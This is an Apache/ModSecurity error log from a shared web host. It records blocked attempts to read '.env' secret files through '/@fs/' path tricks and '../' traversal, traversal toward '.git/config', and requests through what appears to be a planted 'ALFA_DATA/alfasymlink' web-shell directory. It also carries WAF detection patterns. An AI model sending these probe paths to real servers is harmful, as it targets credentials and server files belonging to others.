[Sun Oct 25 22:49:44.334585 2026] [security2:error] [pid 2948949:tid 2948949] [client 34.22.120.18:57198] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_yCndgrgAxCEkXoEF-AAAABg"]
[Sun Oct 25 22:49:44.336375 2026] [security2:error] [pid 2948951:tid 2948951] [client 34.22.120.18:57184] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/proc/self/cwd/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at6_yL-S1zyYFKLR7-gfmAAAABo"]
[Sun Oct 25 22:49:44.336809 2026] [security2:error] [pid 2948951:tid 2948951] [client 34.22.120.18:57184] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/proc/self/cwd/.env"] [unique_id "at6_yL-S1zyYFKLR7-gfmAAAABo"]
[Sun Oct 25 22:49:44.337890 2026] [security2:error] [pid 2948951:tid 2948951] [client 34.22.120.18:57184] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_yL-S1zyYFKLR7-gfmAAAABo"]
[Sun Oct 25 22:49:44.491155 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.22.120.18:57216] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/src/.env"] [unique_id "at6_yDrbYhOoSbkbrVN6BwAAABs"]
[Sun Oct 25 22:49:44.491720 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.22.120.18:57216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/src/.env"] [unique_id "at6_yDrbYhOoSbkbrVN6BwAAABs"]
[Sun Oct 25 22:49:44.492536 2026] [security2:error] [pid 2938904:tid 2938904] [client 34.22.120.18:57216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_yDrbYhOoSbkbrVN6BwAAABs"]
[Sun Oct 25 22:49:44.512978 2026] [security2:error] [pid 2946858:tid 2946858] [client 34.22.120.18:57236] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at6_yOZnYqMmoFcEfw_MpQAAAAc"]
[Sun Oct 25 22:49:44.513085 2026] [security2:error] [pid 2946858:tid 2946858] [client 34.22.120.18:57236] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at6_yOZnYqMmoFcEfw_MpQAAAAc"]
[Sun Oct 25 22:49:44.513728 2026] [security2:error] [pid 2946858:tid 2946858] [client 34.22.120.18:57236] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/.env"] [unique_id "at6_yOZnYqMmoFcEfw_MpQAAAAc"]
[Sun Oct 25 22:49:44.514705 2026] [security2:error] [pid 2946858:tid 2946858] [client 34.22.120.18:57236] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_yOZnYqMmoFcEfw_MpQAAAAc"]
[Sun Oct 25 22:49:44.579986 2026] [security2:error] [pid 2948950:tid 2948950] [client 34.22.120.18:57226] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/app/.env.production"] [unique_id "at6_yG63qrFiHf9eKhUUkQAAABk"]
[Sun Oct 25 22:49:44.580687 2026] [security2:error] [pid 2948950:tid 2948950] [client 34.22.120.18:57226] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/app/.env.production"] [unique_id "at6_yG63qrFiHf9eKhUUkQAAABk"]
[Sun Oct 25 22:49:44.581685 2026] [security2:error] [pid 2948950:tid 2948950] [client 34.22.120.18:57226] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_yG63qrFiHf9eKhUUkQAAABk"]
[Sun Oct 25 22:49:44.581895 2026] [security2:error] [pid 2948947:tid 2948947] [client 34.22.120.18:57170] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "parkeranders.com"] [uri "/@fs/app/.env"] [unique_id "at6_yG6io-A11s5myEt0egAAABQ"]
[Sun Oct 25 22:49:44.582523 2026] [security2:error] [pid 2948947:tid 2948947] [client 34.22.120.18:57170] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "parkeranders.com"] [uri "/@fs/app/.env"] [unique_id "at6_yG6io-A11s5myEt0egAAABQ"]
[Sun Oct 25 22:49:44.583538 2026] [security2:error] [pid 2948947:tid 2948947] [client 34.22.120.18:57170] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "parkeranders.com"] [uri "/403.shtml"] [unique_id "at6_yG6io-A11s5myEt0egAAABQ"]
[Sun Oct 25 22:49:50.234977 2026] [core:error] [pid 2948949:tid 2948949] (13)Permission denied: [client 54.156.124.2:26611] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:00/subsystem/drivers/ec/bind
[Sun Oct 25 22:49:54.263647 2026] [ssl:error] [pid 2948945:tid 2948945] (5)Input/output error: [client 52.0.41.164:47506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:49:58.200806 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 23.23.213.182:50128] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:50:02.276308 2026] [core:error] [pid 2948949:tid 2948949] (13)Permission denied: [client 34.238.45.183:19518] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event2/device/device/subsystem/devices/serio0/driver/unbind
[Sun Oct 25 22:50:04.040654 2026] [ssl:error] [pid 2946858:tid 2946858] (70014)End of file found: [client 85.208.96.206:11650] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:50:07.341410 2026] [core:error] [pid 2948950:tid 2948950] (13)Permission denied: [client 185.191.171.8:30226] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/io/slab_size
[Sun Oct 25 22:50:22.256141 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 34.205.170.13:1073] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:50:34.271283 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 23.21.175.228:51930] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:50:38.178983 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 23.21.225.190:39270] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:50:58.190553 2026] [ssl:error] [pid 2948945:tid 2948945] (70014)End of file found: [client 98.82.214.73:3941] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:51:02.242817 2026] [ssl:error] [pid 2946688:tid 2946688] (70014)End of file found: [client 50.16.248.61:6805] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:51:06.305411 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 34.206.249.188:1747] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:51:22.350747 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 18.213.102.186:48230] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:51:26.210859 2026] [ssl:error] [pid 2948947:tid 2948947] (70014)End of file found: [client 44.217.255.167:39156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:51:34.187385 2026] [ssl:error] [pid 2943071:tid 2943071] (70014)End of file found: [client 18.235.81.246:5467] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:51:38.180150 2026] [ssl:error] [pid 2930612:tid 2930612] (70014)End of file found: [client 3.215.59.93:32034] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:51:40.781427 2026] [security2:error] [pid 2948945:tid 2948945] [client 85.208.96.212:18130] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/tcl8.6/Tix8.4.3/MultView.tcl"] [unique_id "at7APKrz8vJoRjS7xCGc7QAAABI"]
[Sun Oct 25 22:51:40.781468 2026] [security2:error] [pid 2948945:tid 2948945] [client 85.208.96.212:18130] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/tcl8.6/Tix8.4.3/MultView.tcl"] [unique_id "at7APKrz8vJoRjS7xCGc7QAAABI"]
[Sun Oct 25 22:51:50.240454 2026] [ssl:error] [pid 2948947:tid 2948947] (70014)End of file found: [client 34.206.193.60:32081] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:52:10.324194 2026] [core:error] [pid 2948947:tid 2948947] (13)Permission denied: [client 23.23.99.55:20089] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS0/subsystem/ttyS3/device/subsystem/drivers/amd_gpio/bind
[Sun Oct 25 22:52:22.221488 2026] [ssl:error] [pid 2934778:tid 2934778] (70014)End of file found: [client 3.220.70.171:24493] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:52:32.924923 2026] [security2:error] [pid 2948949:tid 2948949] [client 16.216.88.25:12288] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/sni.conf"] [unique_id "at7AcCndgrgAxCEkXoEF_gAAABg"]
[Sun Oct 25 22:52:32.925395 2026] [security2:error] [pid 2948949:tid 2948949] [client 16.216.88.25:12288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/sni.conf"] [unique_id "at7AcCndgrgAxCEkXoEF_gAAABg"]
[Sun Oct 25 22:52:32.925747 2026] [security2:error] [pid 2948949:tid 2948949] [client 16.216.88.25:12288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/dovecot/sni.conf"] [unique_id "at7AcCndgrgAxCEkXoEF_gAAABg"]
[Sun Oct 25 22:52:34.236083 2026] [ssl:error] [pid 2946688:tid 2946688] (70014)End of file found: [client 34.194.14.255:42920] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:52:38.215770 2026] [ssl:error] [pid 2934778:tid 2934778] (5)Input/output error: [client 50.16.72.185:51662] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:52:42.328386 2026] [ssl:error] [pid 2948945:tid 2948945] (70014)End of file found: [client 18.213.27.222:27401] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:52:46.214594 2026] [ssl:error] [pid 2946859:tid 2946859] (70014)End of file found: [client 98.82.66.172:53314] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:52:50.195083 2026] [ssl:error] [pid 2943061:tid 2943061] (70014)End of file found: [client 3.232.102.111:9765] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:52:54.175174 2026] [ssl:error] [pid 2948945:tid 2948945] (70014)End of file found: [client 34.236.41.241:53839] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:53:10.189853 2026] [ssl:error] [pid 2948945:tid 2948945] (70014)End of file found: [client 54.225.81.20:57744] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:53:18.347657 2026] [ssl:error] [pid 2948940:tid 2948940] (70014)End of file found: [client 100.28.44.58:56890] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:53:30.436068 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 35.173.38.202:31527] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:53:32.909975 2026] [core:error] [pid 2943061:tid 2943061] (13)Permission denied: [client 185.191.171.14:52358] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/cpu_slabs
[Sun Oct 25 22:53:38.275351 2026] [core:error] [pid 2948940:tid 2948940] (13)Permission denied: [client 98.83.177.42:58661] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.1/remove
[Sun Oct 25 22:53:42.395839 2026] [ssl:error] [pid 2948947:tid 2948947] (70014)End of file found: [client 52.71.203.206:27057] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:53:46.184331 2026] [security2:error] [pid 2942316:tid 2942316] [client 3.215.59.93:33527] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:00/subsystem/devices/LNXCPU:00/physical_node/driver/cpu1/node0/memory1/power/"] [unique_id "at7AurZn9l1fDWzMN3C9bAAAAAQ"]
[Sun Oct 25 22:53:46.184386 2026] [security2:error] [pid 2942316:tid 2942316] [client 3.215.59.93:33527] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:01/PNP0501:00/subsystem/devices/LNXCPU:00/physical_node/driver/cpu1/node0/memory1/power/"] [unique_id "at7AurZn9l1fDWzMN3C9bAAAAAQ"]
[Sun Oct 25 22:53:50.257194 2026] [ssl:error] [pid 2948940:tid 2948940] (70014)End of file found: [client 18.235.158.19:45779] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:53:54.464426 2026] [ssl:error] [pid 2948945:tid 2948945] (5)Input/output error: [client 3.213.213.161:40401] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:54:05.736671 2026] [core:error] [pid 2948940:tid 2948940] (13)Permission denied: [client 85.208.96.200:46402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/uprobe/subsystem/drivers_probe
[Sun Oct 25 22:54:10.195274 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 34.197.28.78:2737] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:54:10.924822 2026] [core:error] [pid 2943061:tid 2943061] (13)Permission denied: [client 185.191.171.13:45068] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDP-Lite/object_size
[Sun Oct 25 22:54:18.349346 2026] [core:error] [pid 2923082:tid 2923082] (13)Permission denied: [client 52.44.148.203:3791] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input3/subsystem/input0/device/subsystem/devices/device:04/physical_node/resource1
[Sun Oct 25 22:54:22.224171 2026] [ssl:error] [pid 2948945:tid 2948945] (70014)End of file found: [client 44.194.139.149:18230] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:54:34.345639 2026] [ssl:error] [pid 2948940:tid 2948940] (70014)End of file found: [client 44.205.120.22:5241] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:54:38.204851 2026] [ssl:error] [pid 2946859:tid 2946859] (5)Input/output error: [client 3.212.205.90:44604] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:54:46.221147 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 3.224.104.67:37938] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:54:50.187279 2026] [ssl:error] [pid 2923082:tid 2923082] (70014)End of file found: [client 52.3.127.170:2284] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:54:54.304288 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 3.229.2.217:30937] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:55:06.318238 2026] [ssl:error] [pid 2948941:tid 2948941] (70014)End of file found: [client 52.3.26.180:35154] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:55:10.287134 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 3.222.190.107:45330] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:55:18.488411 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 54.89.90.224:54581] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:55:26.466805 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 52.201.155.215:6477] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:55:30.209341 2026] [ssl:error] [pid 2948939:tid 2948939] (5)Input/output error: [client 52.1.157.90:58129] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:55:38.198239 2026] [ssl:error] [pid 2948938:tid 2948938] (70014)End of file found: [client 184.72.95.195:37624] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 22:55:40.691808 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /lib../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas1.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at7BLH8bERm6q3Qj3BkqNwAAABc"]
[Sun Oct 25 22:55:40.691872 2026] [security2:error] [pid 2943061:tid 2943061] [client 45.138.12.22:32456] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /lib../.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "plantas1.sherwinpinturas.com"] [uri "/lib../.git/config"] [unique_id "at7BLH8bERm6q3Qj3BkqNwAAABc"]
